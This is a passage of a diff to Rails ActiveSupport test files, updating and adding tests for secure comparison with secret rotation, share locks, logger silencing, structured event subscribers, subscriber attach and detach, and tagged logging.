+    assert_equal(true, wrapper.secure_compare!("and_another_one"))
+  end
+
+  test "#secure_compare! fails correctly when credential is not part of the rotation" do
+    wrapper = ActiveSupport::SecureCompareRotator.new("old_secret")
+    wrapper.rotate("new_secret")
+
+    assert_raises(ActiveSupport::SecureCompareRotator::InvalidMatch) do
+      wrapper.secure_compare!("different_secret")
+    end
+  end
+
+  test "#secure_compare! calls the on_rotation proc" do
+    wrapper = ActiveSupport::SecureCompareRotator.new("old_secret")
+    wrapper.rotate("new_secret")
+    wrapper.rotate("another_secret")
+    wrapper.rotate("and_another_one")
+
+    @witness = nil
+
+    assert_changes(:@witness, from: nil, to: true) do
+      assert_equal(true, wrapper.secure_compare!("and_another_one", on_rotation: -> { @witness = true }))
+    end
+  end
+
+  test "#secure_compare! calls the on_rotation proc that given in constructor" do
+    @witness = nil
+
+    wrapper = ActiveSupport::SecureCompareRotator.new("old_secret", on_rotation: -> { @witness = true })
+    wrapper.rotate("new_secret")
+    wrapper.rotate("another_secret")
+    wrapper.rotate("and_another_one")
+
+    assert_changes(:@witness, from: nil, to: true) do
+      assert_equal(true, wrapper.secure_compare!("and_another_one"))
+    end
+  end
+end
diff --git a/activesupport/test/security_utils_test.rb b/activesupport/test/security_utils_test.rb
index e8f762da228bf..1a185864b0ed9 100644
--- a/activesupport/test/security_utils_test.rb
+++ b/activesupport/test/security_utils_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/security_utils"
 
 class SecurityUtilsTest < ActiveSupport::TestCase
@@ -7,8 +9,18 @@ def test_secure_compare_should_perform_string_comparison
     assert_not ActiveSupport::SecurityUtils.secure_compare("a", "b")
   end
 
-  def test_variable_size_secure_compare_should_perform_string_comparison
-    assert ActiveSupport::SecurityUtils.variable_size_secure_compare("a", "a")
-    assert_not ActiveSupport::SecurityUtils.variable_size_secure_compare("a", "b")
+  def test_secure_compare_return_false_on_bytesize_mismatch
+    assert_not ActiveSupport::SecurityUtils.secure_compare("a", "\u{ff41}")
+  end
+
+  def test_fixed_length_secure_compare_should_perform_string_comparison
+    assert ActiveSupport::SecurityUtils.fixed_length_secure_compare("a", "a")
+    assert_not ActiveSupport::SecurityUtils.fixed_length_secure_compare("a", "b")
+  end
+
+  def test_fixed_length_secure_compare_raise_on_length_mismatch
+    assert_raises(ArgumentError, "string length mismatch.") do
+      ActiveSupport::SecurityUtils.fixed_length_secure_compare("a", "ab")
+    end
   end
 end
diff --git a/activesupport/test/share_lock_test.rb b/activesupport/test/share_lock_test.rb
index a5970591fad98..2bf2435246ab3 100644
--- a/activesupport/test/share_lock_test.rb
+++ b/activesupport/test/share_lock_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "concurrent/atomic/count_down_latch"
 require "active_support/concurrency/share_lock"
 
@@ -9,38 +11,38 @@ def setup
 
   def test_reentrancy
     thread = Thread.new do
-      @lock.sharing   { @lock.sharing   {} }
-      @lock.exclusive { @lock.exclusive {} }
+      @lock.sharing   { @lock.sharing   { } }
+      @lock.exclusive { @lock.exclusive { } }
     end
     assert_threads_not_stuck thread
   end
 
   def test_sharing_doesnt_block
     with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_latch|
-      assert_threads_not_stuck(Thread.new { @lock.sharing {} })
+      assert_threads_not_stuck(Thread.new { @lock.sharing { } })
     end
   end
 
   def test_sharing_blocks_exclusive
     with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
       @lock.exclusive(no_wait: true) { flunk } # polling should fail
-      exclusive_thread = Thread.new { @lock.exclusive {} }
+      exclusive_thread = Thread.new { @lock.exclusive { } }
       assert_threads_stuck_but_releasable_by_latch exclusive_thread, sharing_thread_release_latch
     end
   end
 
   def test_exclusive_blocks_sharing
     with_thread_waiting_in_lock_section(:exclusive) do |exclusive_thread_release_latch|
-      sharing_thread = Thread.new { @lock.sharing {} }
+      sharing_thread = Thread.new { @lock.sharing { } }
       assert_threads_stuck_but_releasable_by_latch sharing_thread, exclusive_thread_release_latch
     end
   end
 
-  def test_multiple_exlusives_are_able_to_progress
+  def test_multiple_exclusives_are_able_to_progress
     with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
       exclusive_threads = (1..2).map do
         Thread.new do
-          @lock.exclusive {}
+          @lock.exclusive { }
         end
       end
 
@@ -51,7 +53,7 @@ def test_multiple_exlusives_are_able_to_progress
   def test_sharing_is_upgradeable_to_exclusive
     upgrading_thread = Thread.new do
       @lock.sharing do
-        @lock.exclusive {}
+        @lock.exclusive { }
       end
     end
     assert_threads_not_stuck upgrading_thread
@@ -64,7 +66,7 @@ def test_exclusive_upgrade_waits_for_other_sharers_to_leave
       upgrading_thread = Thread.new do
         @lock.sharing do
           in_sharing.count_down
-          @lock.exclusive {}
+          @lock.exclusive { }
         end
       end
 
@@ -78,8 +80,8 @@ def test_exclusive_matching_purpose
       with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
         exclusive_threads = (1..2).map do
           Thread.new do
-            @lock.send(use_upgrading ? :sharing : :tap) do
-              @lock.exclusive(purpose: :load, compatible: [:load, :unload]) {}
+            @lock.public_send(use_upgrading ? :sharing : :tap) do
+              @lock.exclusive(purpose: :load, compatible: [:load, :unload]) { }
             end
           end
         end
@@ -93,7 +95,7 @@ def test_killed_thread_loses_lock
     with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
       thread = Thread.new do
         @lock.sharing do
-          @lock.exclusive {}
+          @lock.exclusive { }
         end
       end
 
@@ -103,7 +105,7 @@ def test_killed_thread_loses_lock
       sharing_thread_release_latch.count_down
 
       thread = Thread.new do
-        @lock.exclusive {}
+        @lock.exclusive { }
       end
 
       assert_threads_not_stuck thread
@@ -113,68 +115,66 @@ def test_killed_thread_loses_lock
   def test_exclusive_conflicting_purpose
     [true, false].each do |use_upgrading|
       with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
-        begin
-          together = Concurrent::CyclicBarrier.new(2)
-          conflicting_exclusive_threads = [
-            Thread.new do
-              @lock.send(use_upgrading ? :sharing : :tap) do
-                together.wait
-                @lock.exclusive(purpose: :red, compatible: [:green, :purple]) {}
-              end
-            end,
-            Thread.new do
-              @lock.send(use_upgrading ? :sharing : :tap) do
-                together.wait
-                @lock.exclusive(purpose: :blue, compatible: [:green]) {}
-              end
+        together = Concurrent::CyclicBarrier.new(2)
+        conflicting_exclusive_threads = [
+          Thread.new do
+            @lock.public_send(use_upgrading ? :sharing : :tap) do
+              together.wait
+              @lock.exclusive(purpose: :red, compatible: [:green, :purple]) { }
+            end
+          end,
+          Thread.new do
+            @lock.public_send(use_upgrading ? :sharing : :tap) do
+              together.wait
+              @lock.exclusive(purpose: :blue, compatible: [:green]) { }
             end
-          ]
-
-          assert_threads_stuck conflicting_exclusive_threads # wait for threads to get into their respective `exclusive {}` blocks
-
-          # This thread will be stuck as long as any other thread is in
-          # a sharing block. While it's blocked, it holds no lock, so it
-          # doesn't interfere with any other attempts.
-          no_purpose_thread = Thread.new do
-            @lock.exclusive {}
           end
-          assert_threads_stuck no_purpose_thread
+        ]
 
-          # This thread is compatible with both of the "primary"
-          # attempts above. It's initially stuck on the outer share
-          # lock, but as soon as that's released, it can run --
-          # regardless of whether those threads hold share locks.
-          compatible_thread = Thread.new do
-            @lock.exclusive(purpose: :green, compatible: []) {}
-          end
-          assert_threads_stuck compatible_thread
+        assert_threads_stuck conflicting_exclusive_threads # wait for threads to get into their respective `exclusive {}` blocks
 
-          assert_threads_stuck conflicting_exclusive_threads
+        # This thread will be stuck as long as any other thread is in
+        # a sharing block. While it's blocked, it holds no lock, so it
+        # doesn't interfere with any other attempts.
+        no_purpose_thread = Thread.new do
+          @lock.exclusive { }
+        end
+        assert_threads_stuck no_purpose_thread
+
+        # This thread is compatible with both of the "primary"
+        # attempts above. It's initially stuck on the outer share
+        # lock, but as soon as that's released, it can run --
+        # regardless of whether those threads hold share locks.
+        compatible_thread = Thread.new do
+          @lock.exclusive(purpose: :green, compatible: []) { }
+        end
+        assert_threads_stuck compatible_thread
 
-          sharing_thread_release_latch.count_down
+        assert_threads_stuck conflicting_exclusive_threads
+
+        sharing_thread_release_latch.count_down
 
-          assert_threads_not_stuck compatible_thread # compatible thread is now able to squeak through
+        assert_threads_not_stuck compatible_thread # compatible thread is now able to squeak through
 
-          if use_upgrading
-            # The "primary" threads both each hold a share lock, and are
-            # mutually incompatible; they're still stuck.
-            assert_threads_stuck conflicting_exclusive_threads
+        if use_upgrading
+          # The "primary" threads both each hold a share lock, and are
+          # mutually incompatible; they're still stuck.
+          assert_threads_stuck conflicting_exclusive_threads
 
-            # The thread without a specified purpose is also stuck; it's
-            # not compatible with anything.
-            assert_threads_stuck no_purpose_thread
-          else
-            # As the primaries didn't hold a share lock, as soon as the
-            # outer one was released, all the exclusive locks are free
-            # to be acquired in turn.
+          # The thread without a specified purpose is also stuck; it's
+          # not compatible with anything.
+          assert_threads_stuck no_purpose_thread
+        else
+          # As the primaries didn't hold a share lock, as soon as the
+          # outer one was released, all the exclusive locks are free
+          # to be acquired in turn.
 
-            assert_threads_not_stuck conflicting_exclusive_threads
-            assert_threads_not_stuck no_purpose_thread
-          end
-        ensure
-          conflicting_exclusive_threads.each(&:kill)
-          no_purpose_thread.kill
+          assert_threads_not_stuck conflicting_exclusive_threads
+          assert_threads_not_stuck no_purpose_thread
         end
+      ensure
+        conflicting_exclusive_threads.each(&:kill)
+        no_purpose_thread.kill
       end
     end
   end
@@ -229,7 +229,7 @@ def test_new_share_attempts_block_on_waiting_exclusive
       assert_threads_stuck waiting_exclusive
 
       late_share_attempt = Thread.new do
-        @lock.sharing {}
+        @lock.sharing { }
       end
       assert_threads_stuck late_share_attempt
 
@@ -250,14 +250,14 @@ def test_share_remains_reentrant_ignoring_a_waiting_exclusive
         @lock.sharing do
           ready.wait
           attempt_reentrancy.wait
-          @lock.sharing {}
+          @lock.sharing { }
         end
       end
 
       exclusive = Thread.new do
         @lock.sharing do
           ready.wait
-          @lock.exclusive {}
+          @lock.exclusive { }
         end
       end
 
@@ -278,7 +278,7 @@ def test_compatible_exclusives_cooperate_to_both_proceed
       Thread.new do
         @lock.sharing do
           ready.wait
-          @lock.exclusive(purpose: :x, compatible: [:x], after_compatible: [:x]) {}
+          @lock.exclusive(purpose: :x, compatible: [:x], after_compatible: [:x]) { }
           done.wait
         end
       end
@@ -295,7 +295,7 @@ def test_manual_yield
       Thread.new do
         @lock.sharing do
           ready.wait
-          @lock.exclusive(purpose: :x) {}
+          @lock.exclusive(purpose: :x) { }
           done.wait
         end
       end,
@@ -321,7 +321,7 @@ def test_manual_incompatible_yield
       Thread.new do
         @lock.sharing do
           ready.wait
-          @lock.exclusive(purpose: :x) {}
+          @lock.exclusive(purpose: :x) { }
           done.wait
         end
       end,
@@ -350,7 +350,7 @@ def test_manual_recursive_yield
       Thread.new do
         @lock.sharing do
           ready.wait
-          @lock.exclusive(purpose: :x) {}
+          @lock.exclusive(purpose: :x) { }
           done.wait
         end
       end,
@@ -384,7 +384,7 @@ def test_manual_recursive_yield_cannot_expand_outer_compatible
     incompatible_thread = Thread.new do
       @lock.sharing do
         ready.wait
-        @lock.exclusive(purpose: :x) {}
+        @lock.exclusive(purpose: :x) { }
       end
     end
 
@@ -416,7 +416,7 @@ def test_manual_recursive_yield_restores_previous_compatible
 
     incompatible_thread = Thread.new do
       ready.wait
-      @lock.exclusive(purpose: :z) {}
+      @lock.exclusive(purpose: :z) { }
     end
 
     recursive_yield_shares_thread = Thread.new do
@@ -425,7 +425,7 @@ def test_manual_recursive_yield_restores_previous_compatible
         @lock.yield_shares(compatible: [:y]) do
           do_nesting.wait
           @lock.sharing do
-            @lock.yield_shares(compatible: [:x, :y]) {}
+            @lock.yield_shares(compatible: [:x, :y]) { }
           end
           after_nesting.wait
         end
@@ -437,12 +437,12 @@ def test_manual_recursive_yield_restores_previous_compatible
     assert_threads_stuck incompatible_thread
 
     compatible_thread = Thread.new do
-      @lock.exclusive(purpose: :y) {}
+      @lock.exclusive(purpose: :y) { }
     end
     assert_threads_not_stuck compatible_thread
 
     post_nesting_incompatible_thread = Thread.new do
-      @lock.exclusive(purpose: :x) {}
+      @lock.exclusive(purpose: :x) { }
     end
     assert_threads_stuck post_nesting_incompatible_thread
 
@@ -465,7 +465,7 @@ def test_in_shared_section_incompatible_non_upgrading_threads_cannot_preempt_upg
       with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch|
         threads = thread_params.map do |purpose, compatible, use_upgrading|
           Thread.new do
-            @lock.send(use_upgrading ? :sharing : :tap) do
+            @lock.public_send(use_upgrading ? :sharing : :tap) do
               @lock.exclusive(purpose: purpose, compatible: compatible) do
                 scratch_pad_mutex.synchronize { scratch_pad << purpose }
               end
@@ -488,12 +488,10 @@ def test_in_shared_section_incompatible_non_upgrading_threads_cannot_preempt_upg
   end
 
   private
-
     module CustomAssertions
       SUFFICIENT_TIMEOUT = 0.2
 
       private
-
         def assert_threads_stuck_but_releasable_by_latch(threads, latch)
           assert_threads_stuck threads
           latch.count_down
@@ -562,7 +560,7 @@ def with_thread_waiting_in_lock_section(lock_section)
       section_release = Concurrent::CountDownLatch.new
 
       stuck_thread = Thread.new do
-        @lock.send(lock_section) do
+        @lock.public_send(lock_section) do
           in_section.count_down
           section_release.wait
         end
diff --git a/activesupport/test/silence_logger_test.rb b/activesupport/test/silence_logger_test.rb
new file mode 100644
index 0000000000000..ba6c4499d47b2
--- /dev/null
+++ b/activesupport/test/silence_logger_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/logger_silence"
+require "logger"
+
+class LoggerSilenceTest < ActiveSupport::TestCase
+  class MyLogger < ::Logger
+    include ActiveSupport::LoggerSilence
+  end
+
+  setup do
+    @io = StringIO.new
+    @logger = MyLogger.new(@io)
+  end
+
+  test "#silence silences the log" do
+    @logger.silence(Logger::ERROR) do
+      @logger.info("Foo")
+    end
+    @io.rewind
+
+    assert_empty @io.read
+  end
+
+  test "#debug? is true when setting the temporary level to Logger::DEBUG" do
+    @logger.level = Logger::INFO
+
+    @logger.silence(Logger::DEBUG) do
+      assert_predicate @logger, :debug?
+    end
+
+    assert_predicate @logger, :info?
+  end
+end
diff --git a/activesupport/test/string_inquirer_test.rb b/activesupport/test/string_inquirer_test.rb
index 79a715349c5aa..4e904e996dc7f 100644
--- a/activesupport/test/string_inquirer_test.rb
+++ b/activesupport/test/string_inquirer_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 class StringInquirerTest < ActiveSupport::TestCase
   def setup
@@ -6,11 +8,11 @@ def setup
   end
 
   def test_match
-    assert @string_inquirer.production?
+    assert_predicate @string_inquirer, :production?
   end
 
   def test_miss
-    assert_not @string_inquirer.development?
+    assert_not_predicate @string_inquirer, :development?
   end
 
   def test_missing_question_mark
diff --git a/activesupport/test/structured_event_subscriber_test.rb b/activesupport/test/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..628124bfbd707
--- /dev/null
+++ b/activesupport/test/structured_event_subscriber_test.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/testing/event_reporter_assertions"
+
+class StructuredEventSubscriberTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::EventReporterAssertions
+
+  class TestEventReporterSubscriber
+    def emit(payload)
+    end
+  end
+
+  class TestSubscriber < ActiveSupport::StructuredEventSubscriber
+    class DebugOnlyError < StandardError
+    end
+
+    def event(event)
+      emit_event("test.event", **event.payload)
+    end
+
+    def debug_only_event(event)
+      raise DebugOnlyError
+    end
+    debug_only :debug_only_event
+  end
+
+  setup do
+    @subscriber = TestSubscriber.new
+    @old_debug_mode = ActiveSupport.event_reporter.debug_mode?
+    ActiveSupport.event_reporter.debug_mode = false
+  end
+
+  teardown do
+    ActiveSupport.event_reporter.debug_mode = @old_debug_mode
+  end
+
+  def test_emit_event_calls_event_reporter_notify
+    event = assert_event_reported("test.event", payload: { key: "value" }) do
+      @subscriber.emit_event("test.event", { key: "value" })
+    end
+
+    assert_equal "test.event", event[:name]
+    assert_equal({ key: "value" }, event[:payload])
+  end
+
+  def test_emit_debug_event_calls_event_reporter_debug
+    with_debug_event_reporting do
+      assert_event_reported("test.debug", payload: { debug: "info" }) do
+        @subscriber.emit_debug_event("test.debug", { debug: "info" })
+      end
+    end
+  end
+
+  def test_emit_event_handles_errors
+    ActiveSupport.event_reporter.stub(:notify, proc { raise StandardError, "event error" }) do
+      error_report = assert_error_reported(StandardError) do
+        @subscriber.emit_event("test.error")
+      end
+      assert_equal "test.error", error_report.source
+      assert_equal "event error", error_report.error.message
+    end
+  end
+
+  def test_emit_debug_event_handles_errors
+    ActiveSupport.event_reporter.stub(:debug, proc { raise StandardError, "debug error" }) do
+      error_report = assert_error_reported(StandardError) do
+        @subscriber.emit_debug_event("test.debug_error")
+      end
+      assert_equal "test.debug_error", error_report.source
+      assert_equal "debug error", error_report.error.message
+    end
+  end
+
+  def test_call_handles_errors
+    ActiveSupport::StructuredEventSubscriber.attach_to :test, @subscriber
+
+    event = ActiveSupport::Notifications::Event.new("error_event.test", Time.current, Time.current, "123", {})
+
+    error_report = assert_error_reported(NoMethodError) do
+      @subscriber.call(event)
+    end
+    assert_match(/undefined method (`|')error_event'/, error_report.error.message)
+    assert_equal "error_event.test", error_report.source
+  end
+
+  def test_debug_only_methods
+    ActiveSupport::StructuredEventSubscriber.attach_to :test, @subscriber
+
+    event_reporter_subscriber = TestEventReporterSubscriber.new
+    ActiveSupport.event_reporter.subscribe(event_reporter_subscriber)
+
+    assert_no_error_reported do
+      ActiveSupport::Notifications.instrument("debug_only_event.test")
+    end
+
+    assert_error_reported(TestSubscriber::DebugOnlyError) do
+      with_debug_event_reporting do
+        ActiveSupport::Notifications.instrument("debug_only_event.test")
+      end
+    end
+  ensure
+    ActiveSupport.event_reporter.unsubscribe(event_reporter_subscriber)
+  end
+
+  def test_no_event_reporter_subscribers
+    ActiveSupport::StructuredEventSubscriber.attach_to :test, @subscriber
+
+    old_subscribers = ActiveSupport.event_reporter.subscribers.dup
+    ActiveSupport.event_reporter.subscribers.clear
+
+    assert_not_called @subscriber, :emit_event do
+      ActiveSupport::Notifications.instrument("event.test")
+    end
+  ensure
+    ActiveSupport.event_reporter.subscribers.push(*old_subscribers)
+  end
+end
diff --git a/activesupport/test/subscriber_test.rb b/activesupport/test/subscriber_test.rb
index 9127da35d43de..65e42670b819a 100644
--- a/activesupport/test/subscriber_test.rb
+++ b/activesupport/test/subscriber_test.rb
@@ -1,9 +1,9 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/subscriber"
 
 class TestSubscriber < ActiveSupport::Subscriber
-  attach_to :doodle
-
   cattr_reader :events
 
   def self.clear
@@ -14,17 +14,27 @@ def open_party(event)
     events << event
   end
 
-  private
+  def another_open_party(event)
+    events << event
+  end
 
+  private
     def private_party(event)
       events << event
     end
 end
 
+class PartySubscriber < TestSubscriber
+  def another_open_party(event)
+    event.payload["processing_class"] = self.class
+    events << event
+  end
+end
+
 # Monkey patch subscriber to test that only one subscriber per method is added.
 class TestSubscriber
   remove_method :open_party
-  def open_party(event)
+  def open_party(event) # rubocop:disable Lint/DuplicateMethods
     events << event
   end
 end
@@ -35,20 +45,107 @@ def setup
   end
 
   def test_attaches_subscribers
+    TestSubscriber.attach_to :doodle
+
     ActiveSupport::Notifications.instrument("open_party.doodle")
 
     assert_equal "open_party.doodle", TestSubscriber.events.first.name
+  ensure
+    TestSubscriber.detach_from :doodle
+  end
+
+  def test_attaches_subscribers_with_inherit_all_option
+    PartySubscriber.attach_to :doodle, inherit_all: true
+
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal "open_party.doodle", PartySubscriber.events.first.name
+  ensure
+    PartySubscriber.detach_from :doodle
+  end
+
+  def test_attaches_subscribers_with_inherit_all_option_replaces_original_behavior
+    PartySubscriber.attach_to :doodle, inherit_all: true
+
+    ActiveSupport::Notifications.instrument("another_open_party.doodle")
+
+    assert_equal 1, PartySubscriber.events.size
+
+    event = PartySubscriber.events.first
+    assert_equal "another_open_party.doodle", event.name
+    assert_equal PartySubscriber, event.payload.fetch("processing_class")
+  ensure
+    PartySubscriber.detach_from :doodle
   end
 
   def test_attaches_only_one_subscriber
+    TestSubscriber.attach_to :doodle
+
     ActiveSupport::Notifications.instrument("open_party.doodle")
 
     assert_equal 1, TestSubscriber.events.size
+  ensure
+    TestSubscriber.detach_from :doodle
   end
 
   def test_does_not_attach_private_methods
+    TestSubscriber.attach_to :doodle
+
     ActiveSupport::Notifications.instrument("private_party.doodle")
 
     assert_equal [], TestSubscriber.events
+  ensure
+    TestSubscriber.detach_from :doodle
+  end
+
+  def test_detaches_subscribers
+    TestSubscriber.attach_to :doodle
+    TestSubscriber.detach_from :doodle
+
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal [], TestSubscriber.events
+  end
+
+  def test_detaches_subscribers_from_inherited_methods
+    PartySubscriber.attach_to :doodle
+    PartySubscriber.detach_from :doodle
+
+    ActiveSupport::Notifications.instrument("open_party.doodle")
+
+    assert_equal [], TestSubscriber.events
+  end
+
+  def test_supports_publish_event
+    TestSubscriber.attach_to :doodle
+
+    original_event = ActiveSupport::Notifications::Event.new("open_party.doodle", Time.at(0), Time.at(10), "id", { foo: "bar" })
+
+    ActiveSupport::Notifications.publish_event(original_event)
+
+    assert_equal original_event, TestSubscriber.events.first
+  ensure
+    TestSubscriber.detach_from :doodle
+  end
+
+  def test_publish_event_preserve_units
+    event = ActiveSupport::Notifications::Event.new("publish_event.test", nil, nil, 42, {})
+    event.record { sleep 0.1 }
+
+    computed_duration = nil
+    callback = -> (_, start, finish, _, _) { computed_duration = finish - start }
+
+    ActiveSupport::Notifications.subscribed(callback, "publish_event.test") do
+      ActiveSupport::Notifications.publish_event(event)
+    end
+
+    # Event#duration is in milliseconds, start and finish in seconds
+    assert_in_delta event.duration / 1_000.0, computed_duration, 0.05
+
+    ActiveSupport::Notifications.subscribed(callback, "publish_event.test", monotonic: true) do
+      ActiveSupport::Notifications.publish_event(event)
+    end
+
+    assert_in_delta event.duration / 1_000.0, computed_duration, 0.05
   end
 end
diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb
index 2469e827d4343..3cae39ab56522 100644
--- a/activesupport/test/tagged_logging_test.rb
+++ b/activesupport/test/tagged_logging_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/logger"
 require "active_support/tagged_logging"
 
@@ -17,9 +19,10 @@ def flush(*)
   test "sets logger.formatter if missing and extends it with a tagging API" do
     logger = Logger.new(StringIO.new)
     assert_nil logger.formatter
-    ActiveSupport::TaggedLogging.new(logger)
-    assert_not_nil logger.formatter
-    assert logger.formatter.respond_to?(:tagged)
+
+    other_logger = ActiveSupport::TaggedLogging.new(logger)
+    assert_not_nil other_logger.formatter
+    assert_respond_to other_logger.formatter, :tagged
   end
 
   test "tagged once" do
@@ -37,6 +40,11 @@ def flush(*)
     assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
   end
 
+  test "tagged with an array" do
+    @logger.tagged(%w(BCX Jason New)) { @logger.info "Funky time" }
+    assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+  end
+
   test "tagged are flattened" do
     @logger.tagged("BCX", %w(Jason New)) { @logger.info "Funky time" }
     assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
@@ -72,24 +80,46 @@ def flush(*)
   test "keeps each tag in their own thread" do
     @logger.tagged("BCX") do
       Thread.new do
+        @logger.info "Dull story"
         @logger.tagged("OMG") { @logger.info "Cool story" }
       end.join
       @logger.info "Funky time"
     end
-    assert_equal "[OMG] Cool story\n[BCX] Funky time\n", @output.string
+    assert_equal "Dull story\n[OMG] Cool story\n[BCX] Funky time\n", @output.string
+  end
+
+  test "keeps each tag in their own thread even when pushed directly" do
+    Thread.new do
+      @logger.push_tags("OMG")
+      @logger.info "Cool story"
+    end.join
+    @logger.info "Funky time"
+    assert_equal "[OMG] Cool story\nFunky time\n", @output.string
   end
 
   test "keeps each tag in their own instance" do
-    @other_output = StringIO.new
-    @other_logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@other_output))
+    other_output = StringIO.new
+    other_logger = ActiveSupport::TaggedLogging.new(MyLogger.new(other_output))
     @logger.tagged("OMG") do
-      @other_logger.tagged("BCX") do
+      other_logger.tagged("BCX") do
         @logger.info "Cool story"
-        @other_logger.info "Funky time"
+        other_logger.info "Funky time"
       end
     end
     assert_equal "[OMG] Cool story\n", @output.string
-    assert_equal "[BCX] Funky time\n", @other_output.string
+    assert_equal "[BCX] Funky time\n", other_output.string
+  end
+
+  test "does not share the same formatter instance of the original logger" do
+    other_logger = ActiveSupport::TaggedLogging.new(@logger)
+
+    @logger.tagged("OMG") do
+      other_logger.tagged("BCX") do
+        @logger.info "Cool story"
+        other_logger.info "Funky time"
+      end
+    end
+    assert_equal "[OMG] Cool story\n[BCX] Funky time\n", @output.string
   end
 
   test "cleans up the taggings on flush" do
@@ -112,4 +142,120 @@ def flush(*)
 
     assert_equal "[BCX] [Jason] Funky time\n[BCX] Junky time!\n", @output.string
   end
+
+  test "implicit logger instance" do
+    @output = StringIO.new
+    @logger = ActiveSupport::TaggedLogging.logger(@output)
+
+    @logger.tagged("BCX") { @logger.info "Funky time" }
+    assert_equal "[BCX] Funky time\n", @output.string
+  end
+end
+
+class TaggedLoggingWithoutBlockTest < ActiveSupport::TestCase
+  setup do
+    @output = StringIO.new
+    @logger = ActiveSupport::TaggedLogging.new(Logger.new(@output))
+  end
+
+  test "tagged once" do
+    @logger.tagged("BCX").info "Funky time"
+    assert_equal "[BCX] Funky time\n", @output.string
+  end
+
+  test "tagged twice" do
+    @logger.tagged("BCX").tagged("Jason").info "Funky time"
+    assert_equal "[BCX] [Jason] Funky time\n", @output.string
+  end
+
+  test "tagged thrice at once" do
+    @logger.tagged("BCX", "Jason", "New").info "Funky time"
+    assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+  end
+
+  test "tagged are flattened" do
+    @logger.tagged("BCX", %w(Jason New)).info "Funky time"
+    assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+  end
+
+  test "tagged once with blank and nil" do
+    @logger.tagged(nil, "", "New").info "Funky time"
+    assert_equal "[New] Funky time\n", @output.string
+  end
+
+  test "shares tags across threads" do
+    logger = @logger.tagged("BCX")
+
+    Thread.new do
+      logger.info "Dull story"
+      logger.tagged("OMG").info "Cool story"
+    end.join
+
+    logger.info "Funky time"
+
+    assert_equal "[BCX] Dull story\n[BCX] [OMG] Cool story\n[BCX] Funky time\n", @output.string
+  end
+
+  test "keeps each tag in their own instance" do
+    other_output = StringIO.new
+    other_logger = ActiveSupport::TaggedLogging.new(Logger.new(other_output))
+
+    tagged_logger = @logger.tagged("OMG")
+    other_tagged_logger = other_logger.tagged("BCX")
+    tagged_logger.info "Cool story"
+    other_tagged_logger.info "Funky time"
+
+    assert_equal "[OMG] Cool story\n", @output.string
+    assert_equal "[BCX] Funky time\n", other_output.string
+  end
+
+  test "does not share the same formatter instance of the original logger" do
+    other_logger = ActiveSupport::TaggedLogging.new(@logger)
+
+    tagged_logger = @logger.tagged("OMG")
+    other_tagged_logger = other_logger.tagged("BCX")
+    tagged_logger.info "Cool story"
+    other_tagged_logger.info "Funky time"
+
+    assert_equal "[OMG] Cool story\n[BCX] Funky time\n", @output.string
+  end
+
+  test "mixed levels of tagging" do
+    logger = @logger.tagged("BCX")
+    logger.tagged("Jason").info "Funky time"
+    logger.info "Junky time!"
+
+    assert_equal "[BCX] [Jason] Funky time\n[BCX] Junky time!\n", @output.string
+  end
+
+  test "keeps broadcasting functionality" do
+    broadcast_output = StringIO.new
+    broadcast_logger = ActiveSupport::BroadcastLogger.new(Logger.new(broadcast_output), @logger)
+    logger_with_tags = ActiveSupport::TaggedLogging.new(broadcast_logger)
+
+    tagged_logger = logger_with_tags.tagged("OMG")
+    tagged_logger.info "Broadcasting..."
+
+    assert_equal "[OMG] Broadcasting...\n", @output.string
+    assert_equal "[OMG] Broadcasting...\n", broadcast_output.string
+  end
+
+  test "keeps formatter singleton class methods" do
+    plain_output = StringIO.new
+    plain_logger = Logger.new(plain_output)
+    plain_logger.formatter = Logger::Formatter.new
+    plain_logger.formatter.extend(Module.new {
+      def crozz_method
+      end
+    })
+
+    tagged_logger = ActiveSupport::TaggedLogging.new(plain_logger)
+    assert_respond_to tagged_logger.formatter, :tagged
+    assert_respond_to tagged_logger.formatter, :crozz_method
+  end
+
+  test "accepts non-String objects" do
+    @logger.tagged("tag") { @logger.info [1, 2, 3] }
+    assert_equal "[tag] [1, 2, 3]\n", @output.string
+  end
 end
diff --git a/activesupport/test/test_case_test.rb b/activesupport/test/test_case_test.rb
index af7fc44d6633a..05ed8f2ae629d 100644
--- a/activesupport/test/test_case_test.rb
+++ b/activesupport/test/test_case_test.rb
@@ -1,6 +1,8 @@
-require "abstract_unit"
+# frozen_string_literal: true
 
-class AssertDifferenceTest < ActiveSupport::TestCase
+require_relative "abstract_unit"
+
+class AssertionsTest < ActiveSupport::TestCase
   def setup
     @object = Class.new do
       attr_accessor :num
@@ -26,6 +28,20 @@ def test_assert_not
     assert_equal "custom", e.message
   end
 
+  def test_assert_raises_with_match_pass
+    assert_raises(ArgumentError, match: /incorrect/i) do
